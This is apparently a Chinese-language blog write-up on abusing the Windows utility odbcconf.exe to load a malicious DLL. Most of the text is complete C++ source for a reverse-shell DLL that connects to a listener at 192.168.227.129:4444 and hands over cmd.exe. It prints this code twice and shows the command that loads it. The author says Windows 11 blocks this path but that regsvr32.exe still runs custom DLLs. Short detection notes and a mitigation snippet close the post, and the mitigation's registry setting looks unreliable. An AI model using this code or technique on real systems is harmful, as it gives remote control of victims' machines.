今天要來展示一個被修補好的洞,
而且是打了一整天才發現全部都被 patch 掉了所以沒成功,
不過過程挺有趣的,還是想記錄一下。
Odbcconf.exe 是用來設定 ODBC 驅動程式和資料來源的工具,
但也因為它可以執行 DLL 檔案中的函數,我們可以利用這個特性來執行惡意程式碼。
ODBC 全名是 Open Database Connectivity,從名字我們大概也可以看出來他跟資料庫相關,
那其實我們可以把它當作是一個萬能鑰匙,
今天如果有好幾個資料庫,像是 SQL Server, MYSQL, Oracle, Access,
我們就可以用同樣的方式打開,在開發上帶來更多彈性。
ODBC 是用一個中間層來達成資料庫的抽象化,主要包含四個核心元件:
所以整體流程可以想像成是這樣:
App <--> ODBC API <--> Driver Manager <--> Driver <--> Data Source
我們先直接執行一次 odbconf.exe,
應該就會跳出一個使用說明:
# 安裝 ODBC 驅動
odbcconf.exe /a {INSTALLDRIVER "SQL Server|Driver=sqlsrv32.dll"}
# 設定系統 DSN
odbcconf.exe /a {CONFIGSYSDSN "SQL Server" "DSN=TestDB|Server=localhost"}
# 執行 response file
odbcconf.exe /f setup.rsp
odbcconf.exe 在安裝或設定 driver 的時候會匯出一個 DllRegisterServer 函式,
所以可以載入跟執行指定的DLL檔案,
如果我們可以寫一個惡意DLL,這就會是我們這次的主要攻擊點。
今天我們來一起實作看看,
載入惡意 DLL 來執行 Reverse Shell。
這次的攻擊基本上是參考這些網站內容:
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
https://github.com/woanware/application-restriction-bypasses
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
dllmain.cpp
:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void ReverseShell() {
const char* LHOST = "192.168.227.129";
int LPORT = 4444;
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return;
}
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(LHOST);
clientService.sin_port = htons(LPORT);
if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(ConnectSocket);
WSACleanup();
}
extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
if (thread) {
CloseHandle(thread);
}
return TRUE;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
這邊記得在 Visual Studio 編譯的時候要調整 Debug 改為 Release,
然後選的是x64,
然後我們拆開來看一下,
Reverse Shell()
void ReverseShell() {
const char* LHOST = "192.168.227.129";
int LPORT = 4444;
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return;
}
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(LHOST);
clientService.sin_port = htons(LPORT);
if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(ConnectSocket);
WSACleanup();
}
WSAStartup
, Socket
: 初始化網路環境,建一個 Socketconnect
: 會主動去連線到前面設定的 LHOST, LPORTsi.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
: Reverse Shell 的精隨,告訴等一下要建立的 cmd.exe 說,標準輸入、輸出、錯誤輸出都不要用預設的,要用前面 ConnectSocket 連線到的,這樣我們就可以 nc 接收到,就可以開始對目標電腦操作了extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
if (thread) {
CloseHandle(thread);
}
return TRUE;
extern "C" __declspec(dllexport)
: 告訴 compiler 要把 DllRegisterServer 匯出,讓外面的程式可以呼叫他DllRegisterServer
是一個標準函式,也是我們這次主要攻擊的點,但目前這部分已經被 Windows 修掉了,推估是會檢查路徑或簽章,但目前實測 regsvr32.exe 還是可以呼叫到自己寫的 dll,這些呼叫的過程就是在註冊 DLL 的 COM 元件BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DllMain
是所有 Windows Dll 的標準進入點,只要有程式載入就會呼叫到他在 cmd 上執行:
C:\Windows\System32\odbcconf.exe /S /A {CONFIGDRIVER "SQL Server" "Driver=C:\Test\evil-dll.dll"}
驅動程式(接在 CONFIGDRIVER 後面的那串)也可以用其他的代替,
原本有使用過 Microsoft Access Driver,
但也發現測試的電腦上沒有這個 Driver,
所以最後是使用大部分電腦上可能會有的 SQL Server 來當作跳板
打開負責監聽的主機,應該就會發現 nc 到了 shell 可以用,
但測試期間發現 Windows 11 已經修掉這個了,
不過也發現 regsv32.exe 還是可以跑自訂 dll 的
odbcconf.exe
+ /a {REGSVR
= 極度可疑odbcconf.exe
執行非 ODBC 相關的 DLL# AppLocker 規則 - 阻擋 odbcconf 執行非系統 DLL
$rule = New-AppLockerPolicy -RuleType Dll -User Everyone -Action Deny -Path "C:\*"
# 限制 odbcconf.exe 執行
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" `
-Name "DisableODBCConf" -Value 1 -PropertyType DWord -Force
Odbcconf 危險因為: